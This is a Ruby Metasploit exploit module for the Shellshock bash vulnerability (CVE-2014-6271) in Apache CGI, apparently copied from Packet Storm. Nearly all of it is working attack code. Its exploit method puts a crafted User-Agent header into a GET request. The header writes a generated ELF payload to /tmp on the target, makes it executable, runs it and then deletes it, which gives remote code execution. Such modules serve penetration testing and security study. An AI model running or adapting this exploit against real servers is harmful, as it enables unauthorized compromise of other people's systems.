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Shellshock Bashed CGI RCE

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This Metasploit module exploits the shellshock vulnerability in apache cgi. It allows you to execute any metasploit payload you want.

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Shellshock Bashed CGI RCE',

'Description' => %q{

This module exploits the shellshock vulnerability in apache cgi. It allows you to

excute any metasploit payload you want.

},

'Author' =>

[

'Stephane Chazelas', # vuln discovery

'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net

],

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2014-6271' ]

],

'Payload' =>

{

'BadChars' => "",

},

'Platform' => 'linux',

'Arch' => ARCH_X86,

'Targets' =>

[

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Aug 13 2014'))

register_options(

[

OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,

OptString.new('FILEPATH', [true, 'The url ', '/tmp'])

], self.class)

end

def exploit

@payload_name = "#{rand_text_alpha(5)}"

full_path = datastore['FILEPATH'] + '/' + @payload_name

payload_exe = generate_payload_exe

if payload_exe.blank?

fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")

end

peer = "#{rhost}:#{rport}"

print_status("#{peer} - Creating payload #{full_path}")

res = send_request_cgi({

'method' => 'GET',

'uri' => datastore['TARGETURI'],

'agent' => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" + "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""

})

end

end

Source: http://dl.packetstormsecurity.net/1410-exploits/shellshock_rce.rb.txt

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